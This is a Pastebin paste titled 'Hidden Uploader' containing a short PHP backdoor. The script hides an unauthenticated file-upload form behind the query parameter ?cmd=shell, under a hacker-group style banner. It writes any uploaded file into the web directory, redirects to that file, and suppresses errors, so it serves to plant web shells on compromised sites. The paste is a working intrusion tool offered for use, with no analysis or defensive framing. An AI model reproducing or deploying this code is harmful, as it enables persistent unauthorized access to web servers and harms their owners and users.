Advertisement
RokiAdhytama

Hidden Uploader

May 8th, 2019
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.64 KB | None | 0 0
  1. <?php
  2. // hiden shell upload
  3. // akses file.php?cmd=shell
  4. error_reporting(0);
  5. $cmd = $_GET['cmd'];
  6. $post = $_POST["upload"];
  7. $target_file= basename($_FILES["m_upload"]["name"]);
  8. if($cmd=='shell')
  9. {
  10. ?>
  11. <html>
  12. <head>
  13. <title>./SetupID</title>
  14. <link href='https://3.bp.blogspot.com/-K3QMmWAKS0U/WZIObmrEoiI/AAAAAAAAA7g/a4MqnflhkC81D-TJFBh4EPLIqNMGBFnuQCLcBGAs/s1600/Logo%252BGSH%252Bbaru%252Bcopy.png' rel='icon' type='image/x-icon'/>
  15. <meta name='author' content='0x1999'>
  16. <meta charset="UTF-8">
  17. <style type='text/css'>
  18. @import url(https://fonts.googleapis.com/css?family=Abel);
  19. html {
  20. background: #000000;
  21. color: #ffffff;
  22. font-family: 'Abel';
  23. font-size: 13px;
  24. width: 100%;
  25. }
  26. </style>
  27. <center>
  28. <header>
  29. <pre style="text-align: center"><font color="red">
  30. _________ __ .___________
  31. / _____/ _____/ |_ __ ________ | \______ \
  32. \_____ \_/ __ \ __\ | \____ \| || | \</font><font color="white">
  33. / \ ___/| | | | / |_> > || ` \
  34. /_______ /\___ >__| |____/| __/|___/_______ /
  35. \/ \/ |__| </font><font color="red">MERAH</font> <FONT color="white">PUTIH</FONT>
  36. </pre></header></head></html>
  37. <?php
  38. echo "<form action='' method='post' enctype='multipart/form-data'>
  39. ";
  40. echo "<input type='file' name='m_upload'>";
  41. echo "<input type='submit' name='upload' value='Upload'>";
  42. echo "</form>
  43. ";
  44. echo "</center>
  45. ";
  46. }
  47.  
  48. if(isset($_POST["upload"]))
  49. {
  50. if(move_uploaded_file($_FILES["m_upload"]["tmp_name"], $target_file))
  51. {
  52. echo "<center> Done Bro</center>
  53. ";
  54. header("location:$target_file");
  55. }
  56. }
  57. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement